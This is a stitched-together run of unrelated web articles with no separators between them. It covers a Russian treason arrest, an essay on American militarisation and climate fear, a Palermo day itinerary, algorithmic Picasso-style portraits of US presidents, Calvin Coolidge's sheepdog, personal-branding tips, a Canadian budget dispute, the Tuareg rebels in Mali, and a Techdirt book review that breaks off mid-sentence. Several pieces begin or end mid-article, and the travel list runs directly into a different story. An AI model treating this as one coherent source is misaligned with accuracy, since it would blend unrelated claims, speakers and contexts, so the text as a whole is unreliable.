Even if the case never goes to trial, he added, with the arrest “a precedent has been created. You don’t have to carry out repressions—just send a signal, and people start changing their behavior themselves.” In an editorial published on Friday, the news portal Gazeta.ru called the Davydova affair “historic” and “a kind of sanity check on society.” If the Pussy Riot trial marked the Kremlin’s embrace of conservative ideology, the editorial read, then the Davydova case may well mark “the beginning of the country embracing the practice of persecuting people who are far from politics and civic engagement.”
Before I left Davydova and Gorlov’s apartment in Vyazma, I walked into the back bedroom that overlooked the military base and spoke one last time with Davydova. As she gave a bottle to Cassandra, a reporter called to ask what she made of her time in Lefortovo. “I was in shock,” she said. “It’s as if I’ve returned from hell.”
I don’t want you to think for a second that this represents some kind of elevated moral position on violence or horror; it’s a visceral reaction. I actually wanted to see the baby monster in Alien burst out of that human stomach. I just knew I couldn’t take it. In all my years of viewing (and avoidance), only once did I find a solution to the problem. In the early 1990s, a period when I wrote on children’s culture, Michael Crichton’s novel Jurassic Park sparked a dinosaur fad. I had been a dino-nerd of the 1950s and so promised Harper’s Magazine a piece on the craze and the then-being-remodeled dino-wing of New York’s American Museum of Natural History. (Don’t ask me why that essay never appeared. I took scads of notes, interviewed copious scientists at the museum, spent time alone with an Allosaurus skull, did just about everything a writer should do to produce such a piece -- except write it. Call it my one memorable case of writer’s block.)
My problem was never scaring myself to death on the page. I read Crichton’s novel without a blink. The question was how to see it when, in 1993, it arrived onscreen. My solution was to let my kids go first, then take them back with me. That way, my son could lean over and whisper, “Dad, in maybe 30 seconds the Velociraptor is going to leap out of the grass.” My heart would already be pounding, my eyes half shut, but somehow, cued that way, I became a Crichton vet.
Of course, gazillions of movie viewers have seen similar films with the usual array of sharks, dinosaurs, anacondas, axe murderers, mutants, zombies, vampires, aliens, or serial killers, and done so with remarkable pleasure. They didn’t bolt. They didn’t imagine having heart attacks on the spot. They didn’t find it unbearable. In some way, they liked it, ensuring that such films remain pots of gold for Hollywood to this day. Which means that they -- you -- are an alien race to me.
The Sharks, Aliens, and Snakes of Our World
This came to mind recently because I started wondering why, when we step out of those movie theaters, our American world doesn’t scare us more. Why doesn’t it make more of us want to jump out of our skins? These days, our screen lives seem an apocalyptic tinge to them, with all those zombie war movies and the like. I'm curious, though: Does what should be deeply disturbing, even apocalyptically terrifying, in the present moment strike many of us as the equivalent of so many movie-made terrors -- shivers and fears produced in a world so far beyond us that we can do nothing about them?
"However nameless it may be, tell me the truth: Doesn’t the direction we're heading in leave you with the urge to jump out of your skin?"
I’m not talking, of course, about the things that reach directly for your throat and, in their immediacy, scare the hell out of you -- not the sharks who took millions of homes in the foreclosure crisis or the aliens who ate so many jobs in recent years or even the snakes who snatched food stamps from needy Americans. It’s the overarching dystopian picture I’m wondering about. The question is: Are most Americans still in that movie house just waiting for the lights to come back on?
I mean, we’re living in a country that my parents would barely recognize. It has a frozen, riven, shutdown-driven Congress, professionally gerrymandered into incumbency, endlessly lobbied, and seemingly incapable of actually governing. It has a leader whose presidency appears to be imploding before our eyes and whose single accomplishment (according to most pundits), like the website that goes with it, has been unraveling as we watch. Its 1% elections, with their multi-billion dollar campaign seasons and staggering infusions of money from the upper reaches of wealth and corporate life, are less and less anybody’s definition of “democratic.”
And while Washington fiddles, inequality is on the rise, with so much money floating around in the 1% world that millions of dollars are left over to drive the prices of pieces of art into the stratosphere, even as poverty grows and the army of the poor multiplies. And don’t forget that the national infrastructure -- all those highways, bridges, sewer systems, and tunnels that were once the unspoken pride of the country -- is visibly fraying.
Up-Armoring America
Meanwhile, to the tune of a trillion dollars or more a year, our national treasure has been squandered on the maintenance of a war state, the garrisoning of the planet, and the eternal upgrading of “homeland security.” Think about it: so far in the twenty-first century, the U.S. is the only nation to invade a country not on its border. In fact, it invaded two such countries, launching failed wars in which, when all the costs are in, trillions of dollars will have gone down the drain and hundreds of thousands of Iraqis and Afghans, as well as thousands of Americans, will have died. This country has also led the way in creating the rules of the road for global drone assassination campaigns (no small thing now that up to 87 countries are into drone technology); it has turned significant parts of the planet into free-fire zones and, whenever it seemed convenient, obliterated the idea that other countries have something called “national sovereignty”; it has built up its Special Operations forces, tens of thousands of highly trained troops that constitute a secret military within the U.S. military, which are now operational in more than 100 countries and sent into action whenever the White House desires, again with little regard for the sovereignty of other states; it has launched the first set of cyber wars in history (against Iran and its nuclear program), has specialized in kidnapping terror suspects off city streets and in rural backlands globally, and has a near-monopolistic grip on the world arms trade (a 78% market share according to the latest figures available); its military expenditures are greater than the next 13 nations combined; and it continues to build military bases across the planet in a historically unprecedented way.
In the twenty-first century, the power to make war has gravitated ever more decisively into the White House, where the president has a private air force of drones, and two private armies of his own -- those special operations types and CIA paramilitaries -- to order into battle just about anywhere on the planet. Meanwhile, the real power center in Washington has increasingly come to be located in the national security state (and the allied corporate “complexes” linked to it by that famed “revolving door” somewhere in the nation’s capital). That state within a state has gone through boom times even as many Americans busted. It has experienced a multi-billion-dollar construction bonanza, including the raising of elaborate new headquarters, scores of building complexes, massive storage facilities, and the like, while the private housing market went to hell. With its share of that trillion-dollar national security budget, its many agencies and outfits have been bolstered even as the general economy descended into a seemingly permanent slump.
As everyone is now aware, the security state’s intelligence wing has embedded eyes and ears almost everywhere, online and off, here and around the world. The NSA, the CIA, and other agencies are scooping up just about every imaginable form of human communication, no matter where or in what form it takes place. In the process, American intelligence has “weaponized” the Internet and functionally banished the idea of privacy to some other planet.
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Meanwhile, the “Defense” Department has grown ever larger as Washington morphed into a war capital for an unending planetary conflict originally labeled the Global War on Terror. In these years, the “all-volunteer” military has been transformed into something like a foreign legion, another 1% separated from the rest of society. At the same time, the American way of war has been turned into a profit center for a range of warrior corporations and rent-a-gun outfits that enter combat zones with the military, building bases, delivering the mail, and providing food and guard services, among other things.
Domestically, the U.S. has grown more militarized as “security” concerns have been woven into every form of travel, terror fears and alerts have become part and parcel of daily life, and everything around us has up-armored. Police forces across the land, heavily invested in highly militarized SWAT teams, have donned more military-style uniforms, and acquired armored cars, tanks, MRAPS, drones, helicopters, drone submarines, and other military-style weaponry (often surplus equipment donated by the Pentagon). Even campus cops have up-armored.
In a parallel development, Americans have themselves become more heavily armed and in a more military style. Among the 300,000,000 firearms of all sorts estimated to be floating around the U.S., there are now reportedly three to four million AR-15 military-style assault rifles. And with all of this has gone a certain unhinged quality, both for those SWAT teams that seem to have a nasty habit of breaking into homes armed to the teeth and wounding or killing people accused of nonviolent crimes, and for ordinary citizens who have made random or mass killings regular news events.
On August 1, 1966, a former Marine sniper took to the 28th floor of a tower on the campus of the University of Texas with an M-1 carbine and an automatic shotgun, killing 17, while wounding 32. It was an act that staggered the American imagination, shook the media, led to a commission being formed, and put those SWAT teams in our future. But no one then could have guessed how, from Columbine high school (13 dead, 24 wounded) and Virginia Tech university (32 dead, 17 wounded) to Sandy Hook Elementary School (26 dead, 20 of them children), the unhinged of our heavily armed nation would make slaughters, as well as random killings even by children, all-too-common in schools, workplaces, movie theaters, supermarket parking lots, airports, houses of worship, navy yards, and so on.
And don’t even get me started on imprisonment, a category in which we qualify as the world’s leader with 2.2 million people behind bars, a 500% increase over the last three decades, or the rise of the punitive spirit in this country. That would include the handcuffing of remarkably young children at their schools for minor infractions and a fierce government war on whistleblowers -- those, that is, who want to tell us something about what’s going on inside the increasingly secret state that runs our American world and that, in 2011, considered 92 million of the documents it generated so potentially dangerous to outside eyes that it classified them.
A Nameless State (of Mind)
Still, don’t call this America a “police state,” not given what that came to mean in the previous century, nor a “totalitarian” state, given what that meant back then. The truth is that we have no appropriate name, label, or descriptive term for ourselves. Consider that a small sign of just how little we’ve come to grips with what we’re becoming. But you don’t really need a name, do you, not if you’re living it? However nameless it may be, tell me the truth: Doesn’t the direction we're heading in leave you with the urge to jump out of your skin?
And by the way, what I’ve been describing so far isn’t the apocalyptic part of the story, just the everyday framework for American life in 2013. For your basic apocalypse, you need to turn to a subject that, on the whole, doesn’t much interest Washington or the mainstream media. I’m talking, of course, about climate change or what the nightly news loves to call “extreme weather,” a subject we generally prefer to put on the back burner while we’re hailing the “good news” that the U.S. may prove to be the Saudi Arabia of the twenty-first century -- that is, hopped up on fossil fuels for the next 50 years; or that green energy really isn’t worth an Apollo-style program of investment and R&D; or that Arctic waters should be opened to drilling; or that it’s reasonable to bury on the inside pages of the paper with confusing headlines the latest figures on the record levels of carbon dioxide going into the atmosphere and the way the use of coal, the dirtiest of the major fossil fuels, is actually expanding globally; or... but you get the idea. Rising sea levels (see ya, Florida; so long, Boston), spreading disease, intense droughts, wild floods, extreme storms, record fire seasons -- I mean, you already know the tune.
You still wanna be scared? Imagine that someone offered you a wager, and let’s be conservative here: continue on your present path and there will be a 10%-20% chance that this planet becomes virtually uninhabitable a century or two from now. Not bad odds, right? Still, I think just about anyone would admit that only a maniac would take such a bet, no matter the odds. Actually, let me amend that: only a maniac or the people who run the planet’s major energy companies, and the governments (our own included) that help fund and advance their activities, and those governments like Russia and Saudi Arabia that are essentially giant energy companies.
Because, hey, realistically speaking, that’s the bet that all of us on planet Earth have taken on.
And just in case you were wondering whether you were still at the movies, you’re not, and the lights aren’t coming back on either.
Now, if that isn’t scary, what is?
5. ­Market Find, 10 a.m.
The chaos of the Capo street market — singsong calls of vendors hawking goods to the jostling crowd, bloody sides of beef strung up for sale, scooters weaving through the packed lanes — will wake you up faster than any espresso can. After getting an eyeful, slip past the ramshackle stalls and into the Chiesa dell’Immacolata Concezione al Capo, an easily missed trove of Baroque workmanship (admission, 1 euro). The plain exterior of this 17th-century church gives no hint of the magnificence waiting inside: beautiful bas-reliefs, dazzling frescoes, marble statues and intricately inlaid walls that are more amazing given the market disarray right outside.
6. ­Lunch With Locals, Noon
For four decades, the Corona family has presided over Vini del Paradiso, a lunch-only osteria frequented by multigenerational families and groups of well-groomed men who resemble extras from a Mafioso movie. Arrive early to secure one of the few tables inside the charmingly spartan space decorated with yellowed photos of former popes. There are no menus, so the proprietor will suggest specials, the best of which feature seafood, like roasted calamari, swordfish-studded caponata, and spaghetti with anchovies and toasted breadcrumbs. Lunch for two, about 30 euros (cash only).
7. ­Golden Oldies, 2 p.m.
Whether it’s your first trip or your tenth, a visit to Palermo isn’t complete without a stop at Palazzo dei Normanni, the royal palace. The refurbished palm-tree-shaded gardens of the neighboring Villa Bonanno now make the walk there more pleasant, as would a route past the city’s grandiose cathedral in all its Norman-Moorish-Gothic-neo-Classical glory. First-timers should proceed directly to the Cappella Palatina, the gilded chapel of the Norman Kings, to marvel at the golden Byzantine mosaics (admission, 10 euros). Others may prefer to check out a temporary exhibition on the first floor, which recently hosted a blockbuster crucifixion-themed show by the Colombian artist Fernando Botero.
8. ­Let Them Eat Torta, 4:30 p.m.
For proof that the canon of Sicilian desserts extends far beyond the sweet-ricotta-filled cannolo and cassata, visit Pasticceria Cappello, a pastry shop on a run-down street behind the palace. Don’t miss the torta setteveli, a cake native to the city featuring seven chocolately, hazelnutty layers. Or if you prefer frozen sweets, head to Al Gelatone. This colorful gelato shop scoops dozens of artisanal variations, like watermelon granita, lemon-basil sorbetto, and toasted-almond and pistachio gelato offered Sicilian-style, in a sweet brioche bun.
9. ­­Sicilian Theatrics, 8 p.m.
The grand ocher sandstone facade of Teatro Massimo, flanked by palms, will be familiar to cinephiles: The final scenes of “The Godfather Part III” played out on the theater’s steps. But now, after decades marred by budget problems and corruption charges, Italy’s largest opera house is building a reputation for the performances staged inside. The new year will usher in a new season of ballets, concerts and, of course, operas, including Wagner’s “Götterdämmerung” and Verdi’s “Attila.” Tickets from 12 euros.
10. ­Street Eats, 10 p.m.
Palermo’s diverse street food — from arancine (fried rice balls) to stigghiola (barbecued intestines) — is legendary. For variety and a modicum of comfort, head to Nni Franco u’ Vastiddaru, a street-food restaurant with plastic tables and chairs on an adjacent piazza. The specialty is panelle, rectangular fritters of chickpea flour, served on a seeded bun. Pair that with the fritti misti, a mix of arancine and croquettes, or the pani ca’ meusa, a cheesy spleen sandwich. Dinner for two, about 20 euros.
11. ­United We Drink, 11:30 p.m.
A powerful algorithm allowed Karl Stiefvater to reproduce the presidential portraits, but with the style of Pablo Picasso. (Karl Stiefvater)
Five days ago, I pitched an idea to Karl Stiefvater, who like me was wowed by a new algorithm that was mimicking the styles of the greatest artists. What if he applied Picasso’s style to the portraits of the U.S. presidents? Would it involve an unbearable amount of work?
The answer was no, despite the St. Louis resident’s total lack of training with a paint brush.
“These pictures I’m making are coming out of a complete novice’s hands,” he told me last night. “I’ve learned more about Picasso in the the last week than I’ve learned in the last 20 years.”
What Stiefvater does have going for him is the algorithm, and training as a computer programmer. He described it to me as “black magic,” and doesn’t even fully understand how it works. He downloaded it from Github, where a computer programmer he’s never met posted it.
Stiefvater modeled the portraits after the periods Picasso went through. Our first presidents get a style from Picasso’s early years, while the modern presidents resemble his final works.
Stiefvater stressed that he doesn’t see the portraits as creative, but views his works as a reminder of how computers will match more and more of our human abilities.
“As the machines step in and take over more of our jobs, we’re distilling down what artistic creativity is,” Stiefvater said. “It’s not the physical precision of the curves, there’s something intangible, something complex about it. At the end, it’ll be the last thing machines can’t do.”
Stiefvater was nice enough to let me republish his work here. Which image is your favorite?
George Washington. (Karl Stiefvater)
John Adams. (Karl Stiefvater)
Thomas Jefferson. (Karl Stiefvater)
James Madison. (Karl Stiefvater)
James Monroe. (Karl Stiefvater)
John Quincy Adams. (Karl Stiefvater)
Andrew Jackson. (Karl Stiefvater)
Martin van Buren. (Karl Stiefvater)
William Henry Harrison. (Karl Stiefvater)
John Tyler. (Karl Stiefvater)
James Polk. (Karl Stiefvater)
Zachary Taylor. (Karl Stiefvater)
Millard Filmore. (Karl Stiefvater)
Franklin Pierce. (Karl Stiefvater)
James Buchanan. (Karl Stiefvater)
Abraham Lincoln. (Karl Stiefvater)
Andrew Johnson. (Karl Stiefvater)
Ulysses S. Grant. (Karl Stiefvater)
Rutherford B. Hayes. (Karl Stiefvater)
James Garfield. (Karl Stiefvater)
Chester Arthur. (Karl Stiefvater)
Grover Cleveland. (Karl Stiefvater)
Benjamin Harrison. (Karl Stiefvater)
Grover Cleveland. (Karl Stiefvater)
William McKinley. (Karl Stiefvater)
Theodore Roosevelt. (Karl Stiefvater)
William Taft. (Karl Stiefvater)
Woodrow Wilson. (Karl Stiefvater)
Warren Harding. (Karl Stiefvater)
Calvin Coolidge. (Karl Stiefvater)
Herbert Hoover. (Karl Stiefvater)
Franklin D. Roosevelt. (Karl Stiefvater)
Harry Truman. (Karl Stiefvater)
Dwight Eisenhower. (Karl Stiefvater)
John F. Kennedy. (Karl Stiefvater)
Lyndon B. Johnson. (Karl Stiefvater)
Richard Nixon. (Karl Stiefvater)
Gerald Ford. (Karl Stiefvater)
Jimmy Carter (Karl Stiefvater)
Ronald Reagan. (Karl Stiefvater)
George H. W. Bush. (Karl Stiefvater)
Bill Clinton. (Karl Stiefvater)
The first family had many portraits taken of themselves with their beautiful collies, Prudence Prim and Rob Roy. In fact, the Coolidges helped to make the breed popular with Americans long before the Lassie TV show.
You may not know, however, that the Coolidges also helped introduce the Shetland sheepdog, which looks like a miniature collie, to us as well.
When the news of Prudence Prim’s untimely death hit the newspapers and radio, two Michigan children wanted to send the presidential family a new dog. They sent Diana of Wildwood, a registered Shetland sheepdog, who was at first called a “Scotch collie” by the press.
Already Getting Into Trouble on Day 1
The children had chosen Diana because she was all white just like the first lady’s beloved Prudence Prim.
When the puppy arrived by plane, she appeared to be a black-and-white spotted dog. However, when the President picked up the dog, and the spots transferred to his clothing, everyone realized the “spots” were really patches of dirt and grease.
A New Name
The lively young Sheltie continued to rummage into things and get herself dirty in and around the White House — so much so that the first lady renamed her Calamity Jane in honor of the American frontierswoman.
Calamity Jane the dog routinely got so dirty, in fact, that President Coolidge had a dog bathing tub specially built for the White House, primarily for the purpose of giving her the daily baths she needed.
Shetland Sheepdogs Rise in Popularity in the 1920s
Already enamored of the collie breed thanks to the Coolidges, many Americans turned to the Shetland sheepdog as a better alternative as a house pet because of its smaller size.
For so many people, it seems like an insane idea to have a personal brand.
The truth is, we all already have one. It might not be formal or something we think about all the time, but it is there. So, it’s time we start really defining what it means, and how to display it consistently across the web and in real life.
How to promote your personal brand?
In my vision, is like this:
Get your personalised business cards
I am consistently shocked by the number of job seekers who have absolutely NO way of letting other people know how to contact them other than by shoving a resume in their face. And no, the ones you print at home on your own computer are NOT good enough!
Develop YOUR elevator pitch
Be ready! You never know when the opportunity might appear!
Give just enough information to make people want to ask you to tell them more. Don’t focus on your past, instead focus on your future. Nobody cares you have 15 years experience in accounting.
They want to know what you can do for THEM now!
Inspire people!
Now that you have your business cards and elevator pitch, GO out!Attend conferences and events where your target audience is, meet new people!
Network
Networking is about your ability to LISTEN!
Networking is NOT about you. It’s about building a relationship. It’s about helping people in your network of friends and colleagues connect for mutual benefit.
It’s about finding out what someone else needs and helping them.
Update your LinkedIn Profile
Let me tell you my secret in building my business network: My LinkedIn Profile
This brought me closer to the people I wanted to meet for my business partnerships.
YES, my first business partner – I met him via LinkedIn. And we were from different parts of the world, Romania and South Africa
Later on, when I took the opportunity of joining The Alpha Group, I got in touch with the Founders via LinkedIn.
Are you still thinking about it? Just take some time and personalise your LinkedIn profile!
A “How Are You?” Call
One day I met a successful salesperson from Romania.
He said: My secret is about staying in touch with people and surprise them, let them know I care…
Phone people, NOT to ask them for something, but to simply ask: How are you?!
Yes, a how are you call will keep your relationships active! And yes, it works!
But most of all, YOUR personal brand is about YOUR actions and results!
“A personal brand isn’t the sum of tweets that people so mindlessly post. It isn’t the pictures that someone chooses to share. That’s just a small part of a reputation. The most important – and the hardest – part is the collection of actions, decisions and work that a person does day in and day out over a long period of time” Eric M Ruiz Business Lead at Waze says.
What about you? Share with us your ideas!
Credit Source:
Bianca Corau
Founder Female Leadership Organisation
Managing Partner More Solutions
“Conservatives are hiding details of their reckless cuts and refusing to hand over important information to the independent Parliamentary Budget Officer,” NDP MP Guy Caron said in the Commons.
Caron was referring to a Toronto Star article quoting Kevin Page, the budget officer, who said the government is keeping members of Parliament and the public in the dark about how spending reductions in the Conservatives’ 2012 budget will change federal programs.
Caron said that under the Federal Accountability Act brought in by Prime Minister Stephen Harper’s Conservatives in 2006, the government “is required by law” to share the information with Page.
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With their faces obscured behind prodigious indigo turbans and their uncanny navigational skills in a primordial landscape, the Tuareg are perfect Orientalist fantasy material and the French have been working that narrative for over a century.
From the line-etched logo of the famously difficult Dakar Rally, to tourist brochures offering encounters with les mysterieux hommes bleus du Sahara, the mysterious “blue men” are portrayed as “aristocrats of the desert, proud as princes” with a fierce fighting record in a fierce terrain.
“It started with the colonial imagination of looking at a group of people and deciding that one group is more ‘interesting’ compared to the other,” said Mamadou Diouf, director of the Institute for African Studies at Columbia University, New York.
“It was the French who invented the title ‘the blue men’ because of their clothes and their ability to appear and disappear in the Sahara and it was very much part of the French colonial ethnology,” explained Diouf.
More than a century after the French conquest of the Sahara, much has changed in the terrain that stretches across present day Algeria, Mali, Mauritania and Niger.
But following last week’s liberation of the northern Malian city of Kidal - marking the end of the first phase of the intervention in Mali - the French discourse on the Tuareg has a ring of déjà vu.
This time, the narrative centres on the latest incarnation in a long list of postcolonial Tuareg rebel groups - the MNLA (National Movement for the Liberation of Azawad).
With the Islamist militants retreating to the remote Ifoghas mountains near the Mali-Algeria border, the French-led mission has reached a difficult phase in terrain far from the Malian capital of Bamako. Once again, the Tuareg are being sought for their desert navigational skills, this time in the crackdown against al Qaeda-linked militants.
“They are important allies for Bamako,” said Pierre Boilley, director of the Paris-based CEMAF (Centre d’Études des Mondes Africains) who believes that without the MNLA, the war against terrorism in the region is doomed to failure.
‘The group of rebels who best know the terrain’
The war against the Islamist militant groups in the region is also complicated by the French hostage issue.
There are currently seven French nationals being held by jihadist groups - some have been in captivity for over two years - in the Sahel, the southern rocky frontier of the Sahara. Following the liberation of Kidal, French Defense Minister Jean-Yves Le Drian said it was “likely” that the hostages were being held in the Ifoghas region.
Given the difficult terrain, experts such as Pierre Conesa, a former senior French Defense Ministry official, believe the MNLA is best equipped to help address the hostage situation.
"This is the group of rebels who best know the terrain and is presenting itself as the main negotiating ally,” said Conesa in an interview with FRANCE 24 last week.
France’s sensitivity to the MNLA leadership’s wishes was underscored last week when French troops entered their northern stronghold of Kidal, without the Malian army.
Before the Kidal invasion, MNLA spokesmen made it clear that they would surrender to the French military, but not their traditional foe, the Malian army.
The MNLA’s ties with official French military and administrative circles have been a question of much conjecture among Malians in the months before the French intervention.
Some of the group’s top leaders live in France and their spokesmen make frequent media appearances, sparking Malian suspicions.
“The MNLA has a very good communication strategy,” said Marie Rodet, from the University of London’s School of Oriental and African Studies. “They are well connected, they know how to put out their message and are adept at using media platforms.”
Before the military intervention turned the French into Mali’s new heroes, suspicions of Paris’ perceived links with the Tuareg rebellion were so strong that the French Ambassador to Mali Christian Rouyer published an open letter on a Malian news site last year calling on Malians to “please, stop” making “fallacious, unfounded and baseless accusations”.
'Allies in the anti-jihadist counterinsurgency’
If there were any misconstrued Malian fears that France was opposed to Mali’s territorial integrity, the January 11 French intervention has effectively put that to rest.
But as the intervention enters a second - potentially more dangerous – phase, counterinsurgency cooperation with the MNLA appears to be bearing fruit.
On Monday, an MNLA spokesman told reporters that their fighters had captured two senior Islamist fighters from the al Qaeda-linked Ansar Dine and MUJAO (Movement for Unification and Jihad in West Africa) groups respectively.
In an interview with Radio France International (RFI) last week, Mali’s interim President Dioncounda Traoré said he was ready for talks with the MNLA provided they laid down their arms and recognised the country’s territorial integrity.
“The MNLA is coming back into the picture right now,” said Rodet. “Dioncounda Traoré has said the MNLA are legitimate partners. I believe it’s because the French are putting pressure on the Malian authorities. But it won’t be that easy on the ground. I’m not sure the people will forget the MNLA’s role in the current crisis.”
No signs of remorse from the MNLA
In April 2012, shortly after a military coup in Bamako, the MNLA declared the independence of northern Mali – or “Azawad”.
But in the course of eight disastrous months, the Tuareg rebel group lost control of huge swathes of the region to an unsavoury mix of jihadist groups whose push southward was finally halted by the January 11 French intervention.
The MNLA itself shows little signs of coming to terms with their responsibility for the current crisis.
“All Malians share responsibility for this crisis,” said MNLA spokesman Moussa Ag Assarid in a phone interview with FRANCE 24. “The international community has a responsibility in this crisis because AQIM [Al Qaeda in the Islamic Maghreb] was in Azawad for many years and no one fought them in Azawad.”
But for many Malians who followed the MNLA’s ultimately unsuccessful attempts last year to form an alliance with Ansar Dine, such proclamations sound disingenuous at best. They’re also keenly aware that some of the top Ansar Dine leaders – such as Iyad Ag Ghali – are veteran Tuareg rebels.
Shortly after the group’s April 2012 declaration of independence of northern Mali, there were early signs of ethnic targeting, when FRANCE 24 reported that fearing a backlash, Bamako’s Tuareg community was fleeing the city.
An ethnic backlash erupted last month after the liberation of Timbuktu, when hundreds of people in the historic city broke into shops owned by ethnic Arabs and Tuareg perceived collaborators.
The Tuareg and other lighter skinned ethnic groups - commonly called “Arabs” - comprise around 10 percent of Mali’s total population of 14 million.
Amid warnings by human rights groups, French Prime Minister Jean-Marc Ayrault called for the “rapid deployment” of international observers to monitor human rights abuses in Mali.
The situation has since calmed down, but it’s an uneasy calm of simmering tensions in a multiethnic country.
“It’s going to be a long process of social integration, which is why, I suppose, the French are not ready to leave immediately,” said Rodet. “The Tuareg are a tiny minority – even in northern Mali. Some people even say that these Tuareg rebellions are not legitimate. They’re a tiny population, but just because they rebel, they get a disproportionate share of attention.”
Cycles of war, peace and shattered peace
The Tuareg have a history of rebellions and peace accords with the authorities in Bamako since Mali gained independence in 1960.
The first postcolonial rebellion in the 1960s – known as the Afellaga rebellion – was put down by the Malian army. But waves of Tuareg groups, in an alphabet soup of acronyms, took up arms again in the 1990s and early 2000s, many of them aided by combat experience gained as mercenaries in former Libyan leader Muammar Gaddafi’s regional wars.
The latest conflict is a direct outcome of the 2011 Libyan uprising which saw the region awash with Gaddafi’s arms and former mercenaries.
A coup in the South, a rebellion in the North
Many experts warn that unless the underlining sources of the frequent Tuareg rebellions are addressed, any future political solution will go the same way as previous peace accords – blown away in the Saharan sands.
Click on map to enlarge
An impoverished, landlocked West African nation, Mali ranks among the world’s 25 poorest countries. The harsh, inhospitable northern region has always presented an economic challenge, exacerbating Tuareg disenfranchisement.
But as Rodet notes, “The failure of the centralised state to develop infrastructure is not specific to the North, it can be seen everywhere in Mali.”
According to Rodet, most Malians are responding adversely to the lack of governance. “In the South, it was a military coup and in the North, they were responding by relying on a history of rebellion.”
While everyone understands the need for a political solution to the crisis, Rodet suggests that there’s little to gain by Bamako adopting a “patronizing” position that appears to reward the rebellious.
“The state has to rethink its governance, to begin to build political stability. That’s the challenge for the Malian people,” said Diouf.
But with ethnic tensions simmering under the surface of the French-enforced stability, Mali’s political leadership – such as it is – is likely to rely on the help of regional countries as well as the former colonial power.
from the interesting-book,-questionable-premise dept
The first inkling of the paradox came in 1999 when Napster, the music service, developed a network enabling millions of people to share music without paying the producers and artists, wreaking havoc on the music industry. Similar phenomena went on to severely disrupt the newspaper and book publishing industries. Consumers began sharing their own information and entertainment, via videos, audio and text, nearly free, bypassing the traditional markets altogether.
The huge reduction in marginal cost shook those industries and is now beginning to reshape energy, manufacturing and education. Although the fixed costs of solar and wind technology are somewhat pricey, the cost of capturing each unit of energy beyond that is low. This phenomenon has even penetrated the manufacturing sector. Thousands of hobbyists are already making their own products using 3-D printers, open-source software and recycled plastic as feedstock, at near zero marginal cost. Meanwhile, more than six million students are enrolled in free massive open online courses, the content of which is distributed at near zero marginal cost.
THE unresolved question is, how will this economy of the future function when millions of people can make and share goods and services nearly free? The answer lies in the civil society, which consists of nonprofit organizations that attend to the things in life we make and share as a community. In dollar terms, the world of nonprofits is a powerful force. Nonprofit revenues grew at a robust rate of 41 percent — after adjusting for inflation — from 2000 to 2010, more than doubling the growth of gross domestic product, which increased by 16.4 percent during the same period. In 2012, the nonprofit sector in the United States accounted for 5.5 percent of G.D.P.
This collaborative rather than capitalistic approach is about shared access rather than private ownership. For example, 1.7 million people globally are members of car-sharing services. A recent survey found that the number of vehicles owned by car-sharing participants decreased by half after joining the service, with members preferring access over ownership. Millions of people are using social media sites, redistribution networks, rentals and cooperatives to share not only cars but also homes, clothes, tools, toys and other items at low or near zero marginal cost. The sharing economy had projected revenues of $3.5 billion in 2013.
As regular readers here on Techdirt will know, I've been talking about the importance of understanding what happens to economic equations when the marginal cost of something is zero for over 15 years already. It's a very common theme around here. One of my complaints has been that those who came out of an economic world viewpoint in which economics is entirely about dealing with the efficient allocation ofresources, tend to fall into a weird intellectual black hole when they try to put a zero in the equation. But I've long argued that this is the wrong way to look at things. The basic equations still work fine, it's just that you have to recognize the flip side of zero is infinity. When you have a zero marginal cost item, you are-- a resource that can never run out. When you begin to realize that you have a new form of resources -- inputs in economic terms -- suddenly you realize that you're massively expanding the pie, allowing incredible new things to be created from that limitless pool of resources. That's powerful stuff.So, as you can imagine, I was excited when the publisher of Jeremy Rifkin's new book, The Zero Marginal Cost Society: The Internet of Things, the Collaborative Commons, and the Eclipse of Capitalism , reached out to send me a promo copy a few weeks ago. I am only halfway through it, so I'll probably write more about it when it's done, and there's an awful lot of really interesting examples and profound thinking going on. So I'm really enjoying the basic part of it. However, there's one aspect of the book that I have trouble with, and it's exemplified in Rifkin's op-ed in the NY Times a few weeks ago, called The Rise of Anti-Capitalism . You can probably already suspect the problem I'm seeing, based on the title. The explanation of zero marginal cost and how more and more of our economy is heading there is spot on. And, as we've been noting for over a decade as well, this goes way, way beyond just "content" like music and movies. It's going to impact nearly every important industry in our lives:Frankly, I think the power of zero marginal cost goods -- or, as I prefer to call them, infinite goods -- is almost entirely ignored in energy, manufacturing and education (and, importantly, also in healthcare and finance). So it's certainly encouraging to see Rifkin highlight where this is all heading. Where I run into trouble, however, is his belief that this then leads to "the end of capitalism" or "anti-capitalism." To be clear, he explains how what comes out of this, a more collaborative society, will be a great thing. And, again, there's some agreement there. I just think that it's still very much capitalism. Capitalism does not mean that collaboration does not happen. In fact, collaboration is a key part of a well-functioning capitalist society. Ronald Coase famously laid out his theory of the firm in 1937, which explains how transaction costs are a key element in leading people to create long term collaboration. A zero marginal cost world will change the nature of those transaction costs, and will certainly change the nature of collaboration and companies, but it's not anti-capitalist. It's actually more exactly capitalist, where collaboration takes place with more transparency and more information. Those who believe that collaboration is anti-capitalist tend to misunderstand capitalism -- either as extremist Randian Objectivists, or those so opposed to capitalism, often based on believing capitalism is what Randian Objectivists say it is.Take, for example, this aspect of Rifkin's argument in the NY Times piece:Except, when you look, the most successful and disruptive examples of this "collaborative" approach are not non-profits or civil society, but rather perfectly capitalist companies, that have actually unlocked tremendous potential for revenue not just for themselves, but their users. Things like AirBnB, Uber, Lyrt, Sidecar, FlightCar, RelayRides, Zaarly, LendingClub, AirTasker, Kickstarter, LiquidSpace and many, many more are disrupting all sorts of industries, but doing so in ways that are actually about the more efficient use of resources, unlocking potential that had previously been locked up (often because the transaction costs were too high). But they're not anti-capitalistic at all. They're making capitalism. They're helping to move away from power being held by just a few large companies, towards ones where individuals have more power directly.These aren't non-profits or civil society creating these disruptions, and it seems odd for Rifkin to imply that's what's happening. That's not to knock non-profit organizations or civil society groups -- both of which do great things in many cases. But it conflates a variety of different issues to argue that the response to a zero marginal cost society and infinite goods is that non-profits and civil society "take up the slack." Instead, what we are seeing is that new forms of (very capitalist) companies are forming. They're disruptive -- but disruptive in a good way. They're often about providing more economic freedom and power out to users, such that the transactions are actually beneficial to all players, rather than having a few large companies hoarding the power in the middle.But having companies hoard power has never been true capitalism in the first place. It's always been the problem that occurs when you have transaction costs that are too high, sometimes driven through political and regulatory capture, allowing certain firms to gain monopoly or oligopolistic control over certain markets, allowing them to create economic friction, increase transaction costs, and keep most of the value created, rather than distributing it to the end points. However, the new disruptive players in the market are often reversing that trend. They're increasing, decreasing transaction costs, spreading much of the value to the end points, and simply taking a small cut of the transaction along the way. That's not anti-capitalist, or the "end of capitalism" -- 